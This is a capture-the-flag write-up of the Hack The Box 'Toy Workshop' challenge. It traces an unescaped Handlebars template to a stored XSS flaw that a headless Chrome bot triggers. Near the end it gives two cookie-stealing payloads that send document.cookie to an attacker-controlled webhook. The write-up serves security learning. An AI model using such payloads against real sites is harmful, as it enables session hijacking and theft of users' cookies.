Htb Toy Workshop

Toy Workshop

Toy Workshop is a challenge in which we are given the source code as well as a hosted copy of a web app that we need to hack in order to find the flag.


The work is going well on Santa’s toy workshop but we lost contact with the manager in charge! We suspect the evil elves have taken over the workshop, can you talk to the worker elves and find out?

First impressions

Okay so this challenge is super cute! Navigating to the root of the web app we are greeted with an animated conveyor belt and two elves working away.

The home page of our target app

When you click on either of the elves’ heads, they tell you that they are busy and you are then presented with the dialog box below which says the elves will pass your message along to the manager.

Dialog box for "talking to

Submitting a message results in a POST /api/submit containing your message:

POST /api/submit HTTP/1.1
Content-Length: 59
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Content-Type: application/json
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

{"query":"I demand to speak with your manager!\n\n- Karen"}

And the response:

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 53
ETag: W/"35-jrW/GzpnDcXpkDan+rs+Epa0W9E"
Date: Sat, 04 Dec 2021 03:30:49 GMT
Connection: close

{"message":"Your message is delivered successfully!"}

We see that the app uses the Express framework and that we are dealing with an app written in node.js.

Next, we’ll look at the source code.

Source code review

The build

Starting with the Dockerfile, I can see that the Google Chrome browser is being installed which tells me that there is likely a web bot in play.

While putting together this write-up, I also noticed there is a package called libxss1 that gets installed. Googling this, I see that libxss is a “X11 Screen Saver extension library.” That’s obviously not relevant to this web app so were either been given a hint or the author has a sense of a humor; I suspect that it’s both :)

Looking at package.json and package-lock.json, I don’t see any libraries that have known vulnerabilities but I do see that we installing hbs which is the Handlebars templating library and the app is configured to use it in index.js.

app.set("view engine", "hbs");


In database.js the database schema and some queries are defined. Notably, the only query that takes any input is using prepared statements and so it is not vulnerable to SQL injection.


routes/index.js declares three routes: GET /, POST /api/submit, and GET /queries.

GET / just renders the template for the home page we looked at yesterday so let’s take a closer look at the latter two.

POST /api/submit

POST /api/submit is what we submitted our message to earlier. This route takes a JSON-encoded POST body’s query attribute and adds it to the database, then calls bot.readQueries(), and responds to the submitting user that there message has been delivered.

		const { query } = req.body;
			return db.addQuery(query)
				.then(() => {
					res.send(response('Your message is delivered successfully!'));

Following the bot.readQueries() call, we see that the flag is defined in the cookies variable in this file:

const cookies = [{
	'name': 'flag',
	'value': 'HTB{f4k3_fl4g_f0r_t3st1ng}'

readQueries() launches the Chrome browser, adds these cookies, and then browses to /queries.

await page.goto('');
await page.setCookie(...cookies);
await page.goto('', {

GET /queries

GET /queries checks the requester’s IP and, if it’s not localhost, redirects them to the home page. If the request is from localhost, the “queries” (messages) will be pulled from the database and rendered using the queries template.

Since we know from bot.js that the bot runs locally and it would be connecting from localhost then we also know that this request would succeed and the queries view would be rendered.

	if(req.ip != '') return res.redirect('/');

	return db.getQueries()
		.then(queries => {
			res.render('queries', { queries });


As we found earlier, the queries “view” or “template” uses the handlebars.js templating library. In this file we see the following five lines:

{{#each queries}}
<p class="empty">No content</p>

Basically, if there are any “queries” (messages) in the database then this code will print them here.

What stands out here, however, is the triple-braces around the printing of this.query. What could that mean?

According to the handlebars docs:

In Handlebars, the values returned by the `` are HTML-escaped. Say, if the expression contains &, then the returned HTML-escaped output is generated as &amp;. If you don’t want Handlebars to escape a value, use the “triple-stash”, {{{.

What this means that when someone (or something) views this page, the messages in the database are not sanitized or escaped.

Putting it all together

To summarize what we know so far:

When a user submits a message (or a “query”) for the manager, it is placed into a database as-is and the “manager”, aka the bot running a fully featured Chrome browser (reads: supports Javascript) and has a cookie that contains our flag, is instructed to view the /queries page. The bot obligingly does, which pulls our message out of the database and delivers it to them unescaped and just as we submitted it.

In other words…

Our elf manager is XSS-able!

The attack chain

With the bot (“manager”) visiting a page where we have control over the (unsanitized!) content, it’s clear that we can write a cross-site scripting (XSS) payload to access this cookie. This is known as cookie stealing, cookie hijacking, or session hijacking (there’s a very slight nuance between cookie vs session hijacking but it doesn’t matter - the attack is roughly the same).

One problem we need to overcome is that we don’t get any information back from the bot so we need some way to exfiltrate our stolen cookie.

I like to use sites like RequestBin or for problems like these.

We should be able to write some HTML and Javascript that gets the manager’s cookie and includes it in a request to one of these webhook endpoints that we control.

The exploit

I submitted a message with the following payload:

<script>window.location.href = `https://[redacted]${encodeURIComponent(document.cookie)}`</script>

or, to be slightly more stealthy:

<img style="display: none" src="/asdf" onerror="this.src = 'https://[redacted]' + encodeURIComponent(document.cookie)"/>

Either way, boom, got sent the flag right to my door step!

The flag